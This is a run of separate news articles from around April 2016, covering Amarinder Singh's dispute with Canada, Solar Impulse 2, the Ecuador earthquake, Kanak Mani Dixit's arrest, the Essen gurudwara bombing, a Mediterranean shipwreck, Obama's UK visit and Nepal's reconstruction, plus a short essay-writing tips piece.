He is in India to promote Leuven Mindgate, an economic collaboration platform in healthcare, technology and creative sectors.

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A day after Canada disallowed his public events in the country, former Punjab chief minister Captain Amarinder Singh said that felt like a gag order that has left a very bad taste in a letter sent to Prime Minister Justin Trudeau.

In the letter, which local Congress leaders are planning to hand deliver to Ottawa, Singh added, Needless to say, it has come as a disappointment that someone representing the largest democracy in the world has been refused to reach out to, and interact with, his fellow Punjabis living in a respected democracy like Canada.

Rebutting the Global Affairs Canadas instructions, he said he had no intention of conducting a political campaign in Canada or setting up a political party in the country.

It is surprising and ironical that the refusal to allow me public interactions has come barely after a few weeks of your personally expressing regrets over the Komagata Maru tragedy, he wrote.

While Singh is a sitting Lok Sabha MP, he clarified he held no position in government.

Yes, I had planned to visit Canada to interact with my fellow Punjabis at personal level to learn about their experiences and seek their opinions. They, being the citizens of Canada, do not have any voting rights in India. Hence, there is no point in carrying out election campaign amongst them and that too when there are no elections scheduled in Punjab right now or in immediate future, the letter said.

Singh mentioned he had travelled to Canada while he was chief minister of Punjab in 2005 and addressed gatherings in Toronto and Vancouver that were also attended by premiers (the equivalent of a chief minister). He also pointed to instances of Indian leaders addressing the community in Canada in recent months, including Prime Minister Narendra Modi.

But, the way your government has reacted, it simply amounts to gagging someone and has left a suffocating bad taste, unheard of in any democracy, that I cannot talk to the people I feel like talking to, after travelling thousands of miles and crossing over the seven seas, he said in the strongly worded letter that added fundamental freedoms enshrined in the Canadian Constitution had been undermined.

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Two pilots are slowly carving their way into a new future of solar-powered flight as one embarks on the latest leg of their around-the-world journey in a plane powered only by the sun.

After some uncertainty about winds, the Solar Impulse team took off from Hawaii on Thursday and hours later, it was still ascending over the Pacific, attempting to reach a high altitude before night sets in.

The Swiss-made Solar Impulse 2 was on course to land in Mountain View, California, in about three days. The crew that helped it take off was clearing out of its Hawaiian hangar and headed for the mainland for the weekend arrival.

The aircraft landed in Hawaii in July and was forced to stay in the islands after the planes battery system sustained heat damage on its trip from Japan.

Prince's Albert II of Monaco (4th, left seated) , flight director Raymond Clerc (3rd left) and Pierre Casiraghi (2nd left) sit in the control centre of the Solar Impulse 2 plane in Monaco during the planes take-off from Kalaeloa. (AFP Photo)

The aircraft started its journey in March 2015 from Abu Dhabi, the capital of the United Arab Emirates, and made stops in Oman, Myanmar, China and Japan. Its on the ninth leg of its circumnavigation.

Pilot Bertrand Piccard, who is flying the latest leg of the trip, said the idea of crossing the ocean in a solar-powered plane a few years ago stressed him out, but on Thursday he was confident things would go according to plan.

Piccard also said the destination in the heart of Silicon Valley is fitting. He said on his way to the airfield that the plane will land in the middle of the pioneering spirit.

Piccards co-pilot Andre Borschberg, who flew the leg from Japan to Hawaii, told Piccard he admires his dedication and strength.

Solar Impulse 2 takes off from Kalaeloa Airport, Hawaii. (AFP Photo)

He said the plane represents what we could do on the ground in our communities.

The team was delayed in Asia, as well. When first attempting to fly from Nanjing, China, to Hawaii, the crew had to divert to Japan because of unfavourable weather and a damaged wing.

A month later, when weather conditions were right, the plane departed from an airport in Nagoya in central Japan for Hawaii.

The trans-Pacific leg is the riskiest part of the planes global travels due to the lack of emergency landing sites.

The planes ideal flight speed is about 28mph, though that can double during the day when the suns rays are strongest. The carbon-fiber aircraft weighs more than 5,000 pounds or about as much as a midsize truck.

Solar Impulse 2 pilot, Bertrand Piccard, prepares to fly across the Pacific in a solar-powered plane from Kalaeloa Airport. (AP Photo)

The wings of Solar Impulse 2, which stretch wider than those of a Boeing 747, are equipped with 17,000 solar cells that power propellers and charge batteries. The plane runs on stored energy at night.
The death count from Ecuadors worst earthquake in a decade rose to at least 587 on Thursday even as the country faced another grim toll -- a long and costly reconstruction effort likely to cost billions of dollars.

President Rafael Correa announced on Wednesday night that he would raise sales taxes and put a one-time levy on millionaires to help pay for reconstruction.

The damage from the 7.8-magnitude quake adds to already heavy economic hardships being felt in this OPEC nation because of the collapse in world oil prices. Even before the quake, Ecuador was bracing for a bout of austerity, with the International Monetary Fund (IMF) forecasting the economy would shrink 4.5% this year.

In a televised address on Wednesday night, Correa warned the nation of a long and costly post-quake recovery and said the economic pain shouldnt fall only on hard-hit communities along the coast.

I know were at the most-difficult stage right now but its just the beginning, he said.

Rescuers continued to comb through the rubble in coastal towns hit hardest by the quake but the clock was running down for finding survivors. Rescue workers have said a person without serious injuries can survive up to a week buried in debris in the Ecuadorian heat.

A man affected by the quake carries supplies that he received in Bahia de Caraquez, Ecuador. (AFP Photo)

On Thursday, Jorge Zambrano, mayor of the community of Manta, announced that three people had been pulled from beneath a collapsed building the night before and vowed to continue searching.

I still have hope we can find more people who are still alive beneath the rubble, he said. If we have even a hope of life, we must work with extreme care.

Rescuers also found a more unusual survivor: A flapping white-and-brown duck was pulled from under a pile of rubble, becoming a social media celebrity in a country eager for good news.

Rescuers in Ecuador find an unusual earthquake survivor: A flapping duck. https://t.co/peBx90tE8s https://t.co/NFy29vnCb1 #odd  AP Oddities (@AP_Oddities) April 21, 2016

Using authority granted by the state of emergency he declared after Saturday nights quake, Correa said sales taxes would increase from 12% to 14% for the coming year.

People with more than $1 million in assets will be charged a one-time tax of 0.9% on their wealth, while workers earning over $1,000 a month will be forced to contribute a days wages and those earning $5,000 a month the equivalent of five days pay.

Residents hold signs asking for food and water on a highway in San Alejo, Ecuador. (AP Photo)

Taxes on companies will also go up and Correa said he will look to sell certain state assets that he didnt specify. He is also drawing on $600 million in emergency credits from the World Bank and other multilateral lenders.

Unlike the deadly earthquake that ravaged Chile in 2010, when commodity prices were at a high and most of South America was booming, Ecuador must rebuild with prices of oil, the lifeblood of its economy, near a decade low.

Manufacturing is also suffering because the economy is dollarized, depriving companies in Ecuador of the same jolt the rest of South America has experienced from devalued currencies.

The tax hikes come as the scale of devastation continues to sink in. A helicopter flyover of the damage zone on Wednesday showed entire city blocks in ruins as if they had been bombed.

On Thursday evening, the government raised the death toll to 587. Officials listed 155 people as missing and the number of those made homeless climbed to over 23,500. The final death toll could surpass casualties from earthquakes in Chile and Peru in the past decade.

While humanitarian aid has been pouring in from around the world, distribution is slow. People have had to wait for hours under the tropical sun for aid packages that include water, cans of tuna and diapers. Soldiers keep control with fenced barricades.

Some people waiting on Thursday in Manta had spent 10 hours in line the previous day only to come away empty handed.

Women line up to get emergency food and clothing from an army truck in Cholote, Ecuador. (AP Photo)

Ive lost my house and Im living on the street. The same goes for these other women, said Sandra Alvia, 37. We have no water, no power and nothing to eat. Weve lost everything.
Eminent journalist, publisher and civil society activist Kanak Mani Dixit was arrested on Friday by Nepals anti-corruption body on charges of accumulating wealth disproportionate to his income.

The 60-year-old was picked up from his residence in Lalitpur, near Kathmandu, by 20 policemen on the directions of the Commission for Investigation into Abuse of Authority (CIAA).

Dixit maintained his innocence, and told journalists he was being targeted for his opposition to the appointment of Lokman Singh Karki as chairman of the anti-corruption body.

The property details submitted by the suspect did not match with the bank statements and property details of the suspect obtained by the commission, said a statement issued by the CIAA.

Dixit, who is chairman of the public transport cooperative Sajha Yatayat, allegedly misused his position to amass wealth for himself and his family, it added.

He was also accused of opening several accounts in national and foreign banks, selling the property of Sajha Yatayat as his personal property, investing money in other institutions and purchasing property in the US.

We have arrested Kanak Mani Dixit, the chairman of Sajha Yatayat, not the journalist, to investigate corruption charges against him, CIAA spokesperson Krishna Hari Pushkar told reporters.

The CIAA filed corruption case against the publisher of Himal Southasian magazine and Nepali Times newspaper last year.

Dixit had filed a petition in the Supreme Court that said that since Sajha Yatayat was a cooperative and not a public company, its operations do not fall under CIAAs jurisdiction.

The CIAA said Dixit had failed to cooperate with investigations and to appear before the body for hearings.

Several senior editors of India have called for the immediate release of Dixit and said the corruption charges against him are part of a vendetta pursued against him by people in government.

In a statement released on Friday night, they described Dixit as a true professional, human rights defender and energetic journalist.

Media figures call for release of Kanak Mani Dixit (Editor, Himal) The following is the text of the statement:

It is with deep concern that we have learned of the arrest today of Kanak Mani Dixit, the widely respected founder-editor of Himal Media and a courageous voice for transparency, freedom of expression and democratic rights in Nepal and across South Asia. The charges are related to alleged corruption but Kanak Dixit says it is part of a vendetta pursued against him by people in Government.



We have known Kanak Dixit as a true professional, human rights defender and energetic journalist whose credentials are built on robust research and tremendous courage. Himal Media, a pioneer in South Asia journalism, has published Himal South Asia, Nepali Times and Himal Khabar Patrika (in the Nepali language). He has written extensively for international media including leading newspapers in India and is chairman of Sajha Yatayat, a state run transportation company, which he has been turning around from a loss-making entity.



Kanak Dixits detention comes at a time of increased pressure on free media across South Asia. We call upon all national and international media organisations, individual journalists and editors, defenders of media under pressure, on those who believe in the freedom of expression, to seek Kanak Dixits immediate release and a fair and transparent trial, free of bias.



We call upon the Government of Nepal to issue a clear a transparent and unequivocal statement on his detention for we are deeply concerned about his safety and rights. We condemn all forms of pressure tactics on editors like him and other courageous media figures such as Mahfuz Anam of the Daily Star in Dhaka, who is facing over 80 cases of sedition and libel in Bangladeshi courts, and other media persons who are committed to the rule of law and justice.

Sanjoy Narayan, Editor-in-chief, Hindustan Times, New Delhi

Rajdeep Sardesai, Chief Editor, India Today TV Group, New Delhi

Siddharth Varadarajan, Founder Editor, The Wire, New Delhi

TN Ninan, Chairman, Business Standard Pvt Ltd, New Delhi

Maja Daruwala, Director, Commonwealth Human Rights Initiative, New Delhi

Sevanti Ninan, editor, The Hoot, New Delhi

Salil Tripathi, Journalist and Author, London

Imtiaz Ahmed, Executive Director, RCSS, Colombo

Mahfuz Anam, Editor, The Daily Star, Dhaka

Sara Hossein, Lawyer, Bangladesh Supreme Court

Lubna Mariam, Cultural activist, Bangladesh

Kalpana Sharma, independent journalist, Mumbai

Sanjib Baruah, Professor of Political Studies, Bard College, New York, US

Pradip Phanjoubam, Editor, Imphal Free Press

Patricia Mukhim, Editor, the Shillong Times

Seema Mustafa, Editor, The Citizen, New Delhi

Lalita Panicker, Senior Associate Editor, The Hindustan Times, New Delhi

Seema Guha, senior journalist (freelance), New Delhi

Sangeeta Barooah Pisharoty, The Wire, New Delhi

Aruni Kashyap, Writer and Asst Professor of English, Ashoka University, Haryana

Dr. Xonzoi Barbora, TISS, Guwahati

Sanjoy Hazarika, independent columnist, New Delhi

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An explosion at a gurudwara in Germanys Essen city was a terror attack carried out by radical Islamists, authorities have said for the first time, terming it as an entirely new strike targeting Sikhs.

After the interrogating two teenagers, investigators said the blast was religious motivated terror of the Islamist scene, Essens police commissioner Frank Richter said on Thursday.

The blast ripped through the entrance hall of a gurudwara on Saturday evening during a wedding ceremony and damaged part of the building, shattering windowpanes and injuring three people, including a priest.

The interior minister of the state of North Rhine Westphalia, Ralf Jaeger, spoke of an Islamic background to the blast and called for a thorough investigation into the incident.

It also must be investigated who are the other people with whom the two terror suspects were in contact, he said.

Jaeger said it was entirely new that the Sikh community in Germany had been targeted.

The two terror suspects affiliation to a particular group cannot be established right now, Richter told a news conference in Essen.

German TV network ARD on Thursday reported that one of the two men arrested, identified by police as Yusuf T, is an Islamic State (IS) sympathiser and investigators treat him as the main suspect in the attack.

He is known to the authorities as an activist in the Ruhr region of NRW. He also has close links to Lohberger-Brigade, an alliance of radical Islamists in the town of Dinslaken, the report said.

The suspects are believed to have planted an explosive device hidden in a backpack in the entrance hall of the gurudwara. It went off at the end of a marriage ceremony.

Around 70 police officials are working round-the-clock to investigate the attack.

More arrests in this connection cannot be ruled out, Richter said.

He assured the Sikh community that they can feel secure in the city and the authorities would do everything to protect them.
A knife-wielding human trafficker stopped survivors of a shipwreck from pulling others to safety, leaving them to drown in the dark, one of the surviving migrants said on Thursday.

Up to 500 people are believed to have died in last weeks disaster, when an overcrowded boat sank in the southern Mediterranean. Just 41 people were eventually saved by a passing merchant ship and brought to Greece on April 16.

Muaz Mahmud, 25, from Oromia in Ethiopia, managed to escape the packed vessel as it was sinking and clambered onto a nearby boat. However, a people smuggler prevented them from helping others still in the sea, saying they had to leave immediately.

I told him dont start motor please we have to save these people. He took a knife. I am going to kill you, we dont stand here, and then I just cried, Mahmud told reporters, speaking in broken English.

A survivors of a deadly shipwreck, 25-year-old Mahmud Muaz of Ethiopia, delivers a press conference in Athens on April 21, 2016. His wife and 2-mont-old baby are feared to be among the 500 dead. (AFP Photo)

He had been with his wife and 2-month-old baby, having paid $1,800 each for the passage. They are feared drowned.

While the handful of survivors recounted their tales of horror, families of those still missing, many of whom were believed to be from Somalia, described how their relatives had hoped to reach Europe and escape poverty.

In Somalias bombed-out capital, the parents of Mohamed Farah, 25, are still awaiting word of his fate. His family and friends had scraped together thousands of dollars to help him to make the perilous trip over land and sea to Europe. They have been told his picture was not among those of the survivors.

Read: Up to 500 migrants may have drowned in Mediterranean shipwreck: UNHCR

Is he alive or dead? His mother has not eaten food for days, said Ali Nur, his 23-year-old cousin and friend. The agent (trafficker) is the criminal behind the disaster. He got rich from the Somalis drowning in the sea.

The stories from the survivors and grieving relatives give a clear timeframe for one of the worst such tragedies in recent years, showing not just the dangers of the journey but also the relative sophistication of the human trafficking ring.

More than 150,000 migrants reached Italy by boat last year, with some 25,000 arriving so far this year. About 800 are believed to have died trying to make the crossing since January.

Night-time rendezvous

Mohamed Farah left Mogadishu in early February, travelling through Somaliland, Ethiopia and Sudan before reaching Egypt. On April 8 he called home to say he was set to leave, having paid about $3,000 for his place on the boat.

We are going to sail, please pray for me, parents, Nur quoted him as saying in that final call.

It is not clear when precisely he put to sea, but survivors have said one boat with up to 300 people aboard departed somewhere from Egypt, while a second, smaller boat, carrying up to 200, left from near Tobruk in eastern Libya.

Many hours after putting to sea, these two vessels met up in the dead of night, probably on April 13. The smugglers transferred almost everyone onto the bigger boat, at which point it started taking in water. Survivors and officials say that between 400-500 were probably on board when it sank.

Read: 37 dead as boat carrying migrants sinks off Turkey

When this boat was falling, we started swimming to save our life to the other boat. Some survivors on the other boat threw something to us (to help us). We were 10 people, said Mahmud.

With others still swimming towards them, the smuggler started the engine and abandoned them.

We saw the dead guys with our eyes, said Mowlid Isman, 28, from Mogadishu in Somalia. Like Mahmud, he had managed to reach the smaller boat before it left. His sister and her baby did not and are feared drowned.

Ismam Mowlid of Somalia speaks to reporters with the help of a translator in Athens. 500 migrants from Africa are believed to have drowned in the Mediterranean, in what could be one of the worst tragedies since the start of the migrant crisis in Europe. (AFP Photo)

Other peoples families died too. There wasnt anything we could do because they were in the water (and) we moved away, he said, speaking through an interpreter.

Survivors said the smuggler headed towards Italy but at a certain point he boarded a third boat to return to Libya.

He promised to return with water and food, but never reappeared. He also left a satellite phone, with an Italian number for them to call.

I called. It was the police, I called them to help us, Mahmud said. One ship passed nearby but did not pick them up, he said. A second boat finally found them and took them to Greece.

Graphic comparing the numbers of migrants and refugees dead or missing on the three major routes across the Mediterranean since January 2014. (AFP Photo)

The survivors -- 37 men, three women and a three-year-old child from Somalia, Ethiopia, Egypt and Sudan -- said they had drifted at sea for three days.

They are now in Athens and Greek non-governmental organization Praksis said they had all been given a one-month permit to stay in the country.

In Somalia, news of the disaster started to filter through on April 17. Farahs cousin said they got confirmation from a man nicknamed Magafe, which means he who never misses, who was the agent who had organised the doomed crossing.

Before (Farah) sailed away we spoke to him and his friends whom he made on the way and with whom he stayed in Egypt. Now all of them are gone in the sea.
The mortal remains of a man from Jharkhand, who was allegedly killed by his employers in Saudi Arabia last year, is likely to be brought to India within a week, government said on Friday.

The disclosure was made before the Delhi high court, with the government saying that the Indian embassy in Riyadh has taken all steps to dispatch the body of Jharkhand-based Mohammed Afsar Ansari.

The counsel for the government told a bench of Justice J R Midha that all the formalities have been completed. Everything which the embassy could have done has been done. The developments are very positive, the counsel said, adding that it would take one weeks time to dispatch the body of the deceased to India.

The court has fixed the matter for hearing on April 29.

27-year-old Ansari, hailing from Jharkhand, was allegedly killed last year by his employers in Saudi Arabia apparently after he wanted to return to India.

The governments submission came on a plea by Ansaris wife Naushaba Bano who has sought contempt proceedings against the concerned officials, claiming there was a delay on their part in transporting her husbands body to India as directed by the court earlier.

Her counsel had earlier told the court that Ansaris kin feared that since the Indian Embassy had issued a no objection certificate (NoC) to the employers, they may bury the body in Saudi Arabia itself.

In its status report, the Indian Embassy had said its officials had visited the Bureau of Investigation in Saudi Arabia this month and got a clearance from them to release the mortal remains of Ansari.

It had also submitted that his relative there would need to submit the passport and other related documents to the cargo agency for transportation of the body.

The embassy had also said that it had prepared the NoC in the name of Ansaris brother but as it was not collected by him, it was prepared in favour of the employer.
BJP leaders Subramanian Swamy and Navjot Singh Sidhu as well as Narendra Jadhav, member of erstwhile National Advisory Council (NAC) headed by Congress President Sonia Gandhi, were on Friday nominated by the Modi government to Rajya Sabha.

Malayalam actor Suresh Gopi, journalist Swapan Dasgupta and boxer Mary Kom were also nominated to the Upper House of Parliament.

President Pranab Mukherjee nominated the six personalities from different fields to the House of Elders following a recommendation of the Narendra Modi government, a Home Ministry spokesperson said.

He said a formal notification regarding their nomination to the Upper House would be issued shortly.

The President recommends the names of the nominated members drawn from fields such as literature, science, sports, art and social service  on the advice of the government.
Most people send a card, call, or post on Facebook for someones birthday, but President Barack Obama went the extra mile on Friday  thousands of miles, actually  to deliver 90th birthday greetings to Queen Elizabeth II over lunch at Windsor Castle.

Britains oldest and longest-serving monarch celebrated her birthday a day earlier, the same day Obama arrived in the evening for what likely is the final visit here of his presidency. So the two heads of state sat down for an only slightly belated birthday lunch at the castle, west of London.

Obamas wife, Michelle, flew in from Washington to attend the royal engagements. The queens husband, Prince Philip, was on hand as well.

Royal Guardsman look out from the Quadrangle of Windsor Castle. (AP)

The queen put a scarf over her head and came out in a light, drizzling rain to greet the president and first lady as their helicopter landed on the lush green lawn outside the castle. The couples shook hands warmly before hopping into a black Range Rover, driven by Philip, to head back to the castle. Obama sat in front with Philip, the queen and the first lady in the back seat.

The convoy carrying US President Barack Obama, his wife US First Lady Michelle Obama, Britain's Queen Elizabeth II and her husband Prince Philip, Duke of Edinburgh arrives in the quadrangle at Windsor Castle. (AFP)

US President Barack Obama (2R) and his wife US First Lady Michelle Obama (R) are greeted by Britain's Queen Elizabeth II. (AFP)

A few minutes later, the queen led the four into a sitting room with a roaring fire, and asked the president where hed like to sit. The four posed for pictures before the private lunch. The queen was dressed in a light blue suit; the first lady wore an Oscar de la Renta print dress and a black Narciso Rodriguez coat.

Later, Obama planned to have dinner with Prince William, his wife Kate and brother Prince Harry at the younger royals Kensington Palace home in central London. William is second in line to inherit the British throne after his father, Prince Charles.

Obama was breaking up his royal holiday with a stop at 10 Downing St. for talks with Prime Minister David Cameron about the multinational campaign against the Islamic State group, as well as counterterrorism efforts, Afghanistan, Syria, Libya, the global economy, Russias stance toward Ukraine and other issues

Political issues in the United Kingdom and the U.S., including Britains possible exit from the European Union, or Brexit, are on the agenda, along with the U.S. presidential campaign that will determine Obamas successor.

Cameron is leading the campaign in favor of Britains continued membership in the 28-nation EU, which Obama also supports. He wants Obama to speak out against severing ties, but voters will have the final say in a June 23 referendum. Cameron faces opposition from within his own Conservative government and widespread skepticism among voters about the benefits of staying in the EU. Backers of those who support Britains exit, meanwhile, have accused Obama of hypocrisy and interference.

In an opinion piece published online Thursday by the Daily Telegraph newspaper, Obama urges Britons to stay in the EU. He notes the decision will affect U.S. interests and says The U.S. and the world need your outsized influence to continue - including within Europe.

Another issue that could come up is Obamas criticism of Cameron in an interview published recently in The Atlantic magazine. In the article, Obama faulted Cameron and other European allies for shortcomings in their handling of Libya after the 2011 toppling of leader Moammar Gadhafi. Obama said Cameron had become distracted by other issues.

Libya has since descended into chaos and become a haven for members of the Islamic State group.

Obamas lunch with the queen is the latest in a series of engagements between the two families since he took office in 2009.

Each time, the president has come away with an even deeper personal affection for her, said Obama spokesman Josh Earnest. She is an important symbol of a country with whom the United States has a special relationship. But she also is a human being whose charisma and a sense of nobility and honor is something that I think people around the world are attracted to.

Obama described the queen as delightful following their first meeting in 2009. He also told an aide that she reminded him of his grandmother.

That meeting is also where the queen and the much-taller Mrs. Obama showed how quickly they took a liking to each other by briefly standing arm in arm at a Buckingham Palace reception for world leaders attending an economic summit in London. The queen strayed from protocol by wrapping an arm around the first lady, who reciprocated.

A palace spokesperson at the time described the scene at the ladies first meeting as a mutual and spontaneous display of affection.

The queen subsequently hosted Obama for a state visit in May 2011, during which the president and first lady slept at the palace. Obama and the queen also met in June 2014 during ceremonies marking the 70th anniversary of the D-Day landings in Normandy, France.

Prince Charles and his wife, Camilla, and William and Harry, have all visited Obama in the Oval Office.

Harry, a military veteran who served in Afghanistan, joined Mrs. Obama for a White House event in 2013. In 2015, they met at a U.S. military base to highlight their shared interest in the needs of military families and wounded service members. She and daughters Malia and Sasha also sipped tea with Harry at Kensington Palace when the first lady stopped in London last year.
Hundreds of thousands of people who lost their homes in two devastating earthquakes in Nepal last year are still waiting to move into permanent houses.

The temblors in April and May 2015 claimed nearly 9,000 lives, injured more than 22,000, destroyed close to 600,000 houses and damaged nearly 300,000 more.

Political bickering and bureaucratic lethargy has resulted in not a single permanent structure being rebuilt with government grants, despite the world community pledging $4.1 billion in aid in June last year.

Some 200,000 people still live in temporary shelters made of tarpaulin, tin, bamboo and wood at locations in the worst affected sites.

It took nine months for a National Reconstruction Authority (NRA), entrusted with the task of rebuilding, to take shape. But it is yet to launch reconstruction works.

Rebuilding and reconstruction was also hit by a five-month blockade of the border with India, which was imposed by Madhesi parties based in the southern plains who were upset with the new Constitution adopted in September.

The NRA plans to start full-fledged distribution of NRs 200,000 (nearly $1,900) earmarked for each person whose home was destroyed from Sunday, a day ahead of the first anniversary of the April 25 quake.

A partial distribution of the grants began last month and about 600 families have received the first instalment of NRs 50,000 in nine of the 11 worst affected districts.

Khendo Tamang, 8, stands near the debris of the collapsed home she was trapped in after the April 25, 2015 earthquake in Banskharka, Nepal. Khendo was in a packed house with her grandmother, sister and other villagers . When the quake struck, the house collapsed, killing her grandmother and her sister and leaving Khendo with severe leg injuries. (AP)

The delay is due to verification of citizenship, land ownership and other documents of the victims. More than 1,600 engineers are conducting surveys to ensure that no one eligible for support is missed, and no one is double-dipping, officials said.

The NRAs plan is to complete the surveys and begin distributing housing grants before the monsoon season, said a periodic progress report released by the authority this month.

The grant of NRs 200,000 will be given in three instalments but there is still no clarity on the guidelines the NRA expects the victims to follow while rebuilding their homes.

The NRA is still finalising guidelines for training and capacity-building of masons who will reconstruct destroyed houses in an earthquake-resistant manner.

Besides houses, the quakes destroyed more than 35,000 classrooms, damaged more than 6,000 government buildings and nearly 1,000 hospitals and clinics. UNESCO says 691 heritage structures were damaged and 131 destroyed.

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An honest essay has numerous characteristics: original thinking, a good structure, balanced arguments, and plenty more.

But one aspect often overlooked is that an honest essay should be interesting. It should spark the readers curiosity, keep them absorbed, make them want to stay reading and learn more. An uneventful article risks losing the readers attention; whether or not the points you create are excellent, a flat style, or poor handling of a dry subject material can undermine the positive aspects of the essay. The matter is that a lot of students think that essays should be like this: they believe that a flat, dry style is suited to the needs of educational writing and dont even consider that the teacher reading their essay wants to search out the essay interesting. You might want to have online essay editor service to boost your confidence in writing with an error-free output. Academic writing doesnt need to be  and shouldnt be  bland. The excellent news is that there is much stuff you can do to create your essay more attractive, while youll be able only to do such a lot while remaining within the formal confines of educational writing. Lets study what theyre.

Have an interest in what youre writing about

Dont go overboard, but youll be able to let your passion for your subject show.

If theres one thing bound to inject interest into your writing, its being fascinated by what youre writing about. Passion for a subject matter comes across naturally in your essay, typically making it more lively and fascinating and infusing an infectious enthusiasm into your words  within the same way that its easy to talk knowledgeably to someone about something you discover fascinating.

Include fascinating details

Another factor that may make an essay boring maybe a dry material. Some topic areas are naturally dry, and it falls to you to form the article more interesting through your written style and by trying to seek out fascinating snippets of knowledge to incorporate, which will liven it up a small amount and make the data easier to relate to. A way of doing this with a dry subject is to create what youre talking about that seems relevant to the critical world, as this is often easier for the reader to relate to.

Emulate the fashion of writers you discover interesting

When you read lots, you subconsciously start emulating the fashion of the writers you have read. Reading benefits you a lot, as this exposes you to a spread of designs, and youll start to require the characteristics of these you discover interesting to read.

Borrow some creative writing techniques

Theres a limit to the quantity of actual story-telling youll do when youre writing an essay; in the end, essays should be objective, factual and balanced, which doesnt, initially glance, feel considerably like story-telling. However, youll apply a number of the principles of story-telling to create your writing more interesting.

consider your own opinion

Take the time to figure out what its that you think instead of regurgitating the opinions of others.

Cut the waffle

Rambling on and on is dull and almost bound to lose the interest of your reader. Youre in danger of waffling if youre not completely clear about what you wish to mention or havent thought carefully about how youre visiting structure your argument. Doing all your research correctly and writing an essay plan before you begin will help prevent this problem.

Editing is a vital part of the essay-writing process, so edit the waffle once youve done a primary draft. Read through your essay objectively and eliminate the bits that arent relevant to the argument or labor the purpose.

employing a thesaurus isnt always a decent thing

Avoid using unfamiliar words in an essay; theres too great a likelihood that youre misusing them.

You may think that employing a thesaurus to seek out more complicated words will make your writing more exciting or sound more academic, but using overly high-brow language can have the incorrect effect.

Avoid repetitive phrasing

Please avoid using the identical phrase structure again and again: its a recipe for dullness! Instead, use a variety of syntax that demonstrates your writing capabilities and makes your writing more interesting. Mix simple, compound, and complicated sentences to avoid your paper becoming predictable.

Use some figurative language

Using analogies with nature can often make concepts more accessible for readers to know.

As weve already seen, its easy to finish up rambling when youre explaining complex concepts  mainly after you dont know it yourself. One way of forcing yourself to think about a couple of pictures, present it more simply and engagingly is to form figurative language. This implies explaining something by comparing it with something else, as in an analogy.

Employ rhetorical questions

Anticipate the questions your reader might ask.

One of the ways ancient orators held the eye of their audiences and increased the dramatic effect of their speeches was by using the statement. A decent place to use a statement is at the top of a paragraph, to steer into the following one, or at the start of a replacement section to introduce a brand new area for exploration.

Proofread

Finally, you may write the top interesting essay an instructor has ever read. Still, youll undermine your good work if its plagued by errors, which distract the reader from the particular content and can probably annoy them.
Russian forces in Syria have fired at least twice on Israeli military aircraft, prompting Prime Minister Benjamin Netanyahu to seek improved operational coordination with Moscow, Israels top-selling newspaper said on Friday.

The unsourced report in Yedioth Ahronoth gave no dates or locations for the incidents nor any indication that Israeli planes were hit. Russia mounted its military intervention in Syria in September to shore Damascus up amid a now 5-year-old rebellion.

Separately, Israels Channel 10 TV said a Russian warplane approached an Israeli warplane off the Mediterranean coast of Syria last week but that there was no contact between them.

An Israeli military spokesperson declined comment. Netanyahus office and the Russian embassy in Israel did not immediately respond.

Israel, which has repeatedly bombed Syria to foil suspected arms handovers to Lebanese Hezbollah guerrillas, was quick to set up an operational hotline with Moscow, designed to avoid accidentally trading fire with Russian interventionary forces.

Visiting Moscow on Thursday, Netanyahu told Russian President Vladimir Putin in televised remarks: I came here with one main goal - to strengthen the security coordination between us so as to avoid mishaps, misunderstandings and unnecessary confrontations.

In an apparent allusion to Syria, Putin said: I think there are understandable reasons for these intensive contacts (with Israel), given the complicated situation in the region.

According to Yedioth, the reported Russian fire on Israeli planes was first raised with Putin by Israeli President Reuven Rivlin, who visited Moscow on March 15. At the time, Putin responded that he was unaware of the incidents, Yedioth said.
Hours after Canadas foreign ministry conveyed its disapproval of Congress leader Captain Amarinder Singhs plans to hold political meetings in Toronto and Vancouver, a Sikh group has filed complaints with Canadian agencies over his visit.

The pro-Khalistan Shiromani Akali Dal-Amritsar (Canada East) has asked Immigration, Refugees and Citizenship Canada (IRCC) and the Canadian Border Security Agency to examine Singhs application for a Canadian visa.

In a statement, its president Sukhminder Singh Hansra said, Had Captain Amrinder Singh stated the purpose, which was/is to drum up political support or fund-raising for his party for 2017 Punjab election, the visa officer would have refused visitor visa, because Canada does not allow any foreign political party to hold a election rally in Canada.

While the Indian Overseas Congress Canadian unit has stressed no fund-raising activity was ever on the agenda, Singhs meetings in Toronto and Vancouver were related to the Punjab Assembly elections due next year.

Two key events that were scheduled, including a meeting in Toronto on Saturday, were cancelled after the Canadian government sent a letter to Indias high commissioner Vishnu Prakash. The contents of the letter were communicated by the foreign secretary to Singh, currently in Chicago.

In its complaints, Shiromani Akali Dal-Amritsar called on Canadian agencies handling the entry of foreigners to ascertain the details of Singhs visa application before allowing him into the country.

In an emailed complaint to IRCC, the group claimed Singhs arrival is causing concerns in the Sikh community. There might be a protest on Saturday at the event.

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US President Barack Obama made an impassioned appeal on Friday for Britain to remain in the European Union, saying membership had magnified Britains place in the world and made the bloc stronger and more outward looking.

Fearful that a British exit could weaken the West, Obama arrived in London to tell Britons that issues such as terrorism, migration and economic slowdowns could be tackled more successfully with the UK in the EU.

In approaching such a divisive issue, he invoked the interlinked history of the two countries and the tens of thousands of Americans lying in European war graves as his reason for speaking as a friend on the June 23 referendum.

The European Union doesnt moderate British influence - it magnifies it, he wrote in the Daily Telegraph newspaper.

The United States sees how your powerful voice in Europe ensures that Europe takes a strong stance in the world and keeps the EU open, outward looking, and closely linked to its allies on the other side of the Atlantic.

Obama is scheduled to have lunch on Friday at Windsor Castle with Queen Elizabeth, who celebrated her 90th birthday on Thursday, and her husband Prince Philip. He is scheduled to hold talks after lunch with Prime Minister David Cameron.

Obamas visit is a welcome one for Cameron, who is leading the In campaign but it has drawn scorn from those arguing that Britain should leave the bloc.

Opinion polls indicated that British voters are leaning towards the In camp but many remain undecided.

The US government and many American banks and other companies fear a Brexit would cause market turmoil, diminish the clout of its strongest European ally, undermine Londons global financial hub status, cripple the EU and weaken Western security.

Now is a time for friends and allies to stick together, he said, adding that ultimately the referendum was a matter for British voters to decide.

The comments will be welcomed by Cameron who has said that this is no time for Britain to drop out of the club it joined in 1973, especially in the face of what he terms Russian President Vladimir Putins aggression.

Asked about Obamas views, Cameron had previously told parliament, Personally I believe we should listen to advice from friends and other countries and I struggle to find the leader of any friendly country who thinks we should leave.

Ahead of a 2014 Scottish vote on independence, Obama said he hoped Britain remains strong, robust and united, a comment that was welcomed by unionist politicians in London.

Butt out

For Britains closest ally, EU membership amplifies British influence, facilitates trade for US companies and strengthens the 28-member bloc that Washington views as a pillar of stability in the post-World War Two era.

